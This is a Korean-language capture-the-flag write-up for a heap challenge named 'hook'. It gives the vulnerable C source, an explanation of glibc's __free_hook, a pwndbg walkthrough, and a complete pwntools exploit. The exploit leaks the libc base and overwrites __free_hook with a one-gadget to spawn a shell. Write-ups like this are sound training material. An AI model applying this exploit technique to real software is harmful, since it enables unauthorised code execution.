Index
문제
보호기법 확인
PIE를 제외한 NX, Canary, Full RELRO가 걸려있다.
hook.c
// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
long *ptr;
size_t size;
initialize();
printf("stdout: %p\n", stdout);
printf("Size: ");
scanf("%ld", &size);
ptr = malloc(size);
printf("Data: ");
read(0, ptr, size);
*(long *)*ptr = *(ptr+1);
free(ptr);
free(ptr);
system("/bin/sh");
return 0;
}
문제 풀이
*(long *)*ptr = *(ptr+1);
를 보면, ptr
포인터 변수 안에 있는 주소의 값에 ptr+1
주소의 값을 넣는다. 이때 ptr
의 주소값이 __free_hook
변수 주소라면 이 값에 ptr+1
주소의 값을 넣어줄 수 있다. 이후 free(ptr);
이 실행되면서 __free_hook
변수를 확인하게 되고, ptr+1
에 oneshot 가젯을 넣어주면 셸을 얻을 수 있다.
- 왜
__free_hook
에 함수 주소를 넣어주는가?void * __libc_malloc (size_t bytes) { mstate ar_ptr; void *victim; void *(*hook) (size_t, const void *) = atomic_forced_read (__malloc_hook); // read hook if (__builtin_expect (hook != NULL, 0)) return (*hook)(bytes, RETURN_ADDRESS (0)); // call hook
malloc, realloc, free와 같이 힙 영역에서 동적할당을 위한 변수를 위해 GNU C 라이브러리에서는
__malooc_hook
,__realooc_hook
,__free_hook
과 같은 변수가 제공된다. 이와 같은 변수에 후킹함수의 주소가 저장되어 있으면 함수가 호출될 때, 후킹 함수가 호출된다.__malooc_hook
,__realloc_hook
,__free_hook
변수는 쓰기 가능한 영역에 존재하기 때문에 후킹 변수를 사용하는 함수가 있으며 익스플로잇에 사용될 수 있다.
1. Libc Leak
가젯으로 얻은 값은 오프셋이기 때문에, libc의 시작 주소가 필요하다. 이 문제에서는 맨 위에서 stdout의 주소를 leak 해주기 때문에 stdout offset을 빼주면 libc의 시작주소를 얻을 수 있다.
- stdout 출력 부분
- stdout 라이브러리 확인
_IO_2_1_stdout
오프셋
Libc Base Address (실행 시 마다 달라짐) : 0x7ffff7dce760 - 0x3ec760 = 0x7ffff79e2000
2. size 입력
3. __free_hook 주소(=ptr)와 oneshot 가젯(=ptr+1) 입력
__free_hook : 0x7ffff79e2000 + 0x3ed8e8 = 0x7ffff7dcf8e8
oneshot : 0x7ffff79e2000 + 0x4f302 = 0x7ffff7a31302
pwndbg> b *0x00000000004009e4 #after read
Breakpoint 1 at 0x4009e4
pwndbg> b *0x0000000000400a00 #free before
Breakpoint 2 at 0x400a00
pwndbg> c
Breakpoint 1, 0x00000000004009e4 in main () #after read
pwndbg> set *0x602260 = 0xf7dcf8e8
pwndbg> set *0x602264 = 0x7fff
pwndbg> set *0x602268 = 0xf7a31302
pwndbg> set *0x60226c = 0x7fff
pwndbg> vis
pwndbg> c
Breakpoint 2, 0x0000000000400a00 in main () #free before
- before :
*(long *)*ptr = *(ptr+1);
- after :
*(long *)*ptr = *(ptr+1);
4. free(ptr) 수행 시 free_hook으로 oneshot 가젯 실행으로 셸 획득
익스플로잇
from pwn import *
context.log_level='debug'
p = process('./hook')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
e = ELF('./hook')
#p = remote("host3.dreamhack.games", 22128)
#libc = ELF("./libc.so.6")
def slog(name, addr): return success(": ".join([name, hex(addr)]))
#local
#oneshot_offset = 0x4f302
#remote
oneshot_offset = 0x4526a
#[1] Leak libc base
p.recvuntil('stdout: ')
stdout = int(p.recvuntil('\n')[:-1],16)
slog("stdout", stdout)
libc_base = stdout - libc.symbols["_IO_2_1_stdout_"]
free_hook = libc_base + libc.symbols["__free_hook"]
oneshot = libc_base + oneshot_offset
slog("libc_base", libc_base)
slog("free_hook", free_hook)
slog("oneshot", oneshot)
payload = p64(free_hook)
payload += p64(oneshot)
p.sendlineafter(b"Size: ", b"16")
p.sendlineafter(b"Data: ", payload)
p.interactive()
Uploaded by N2T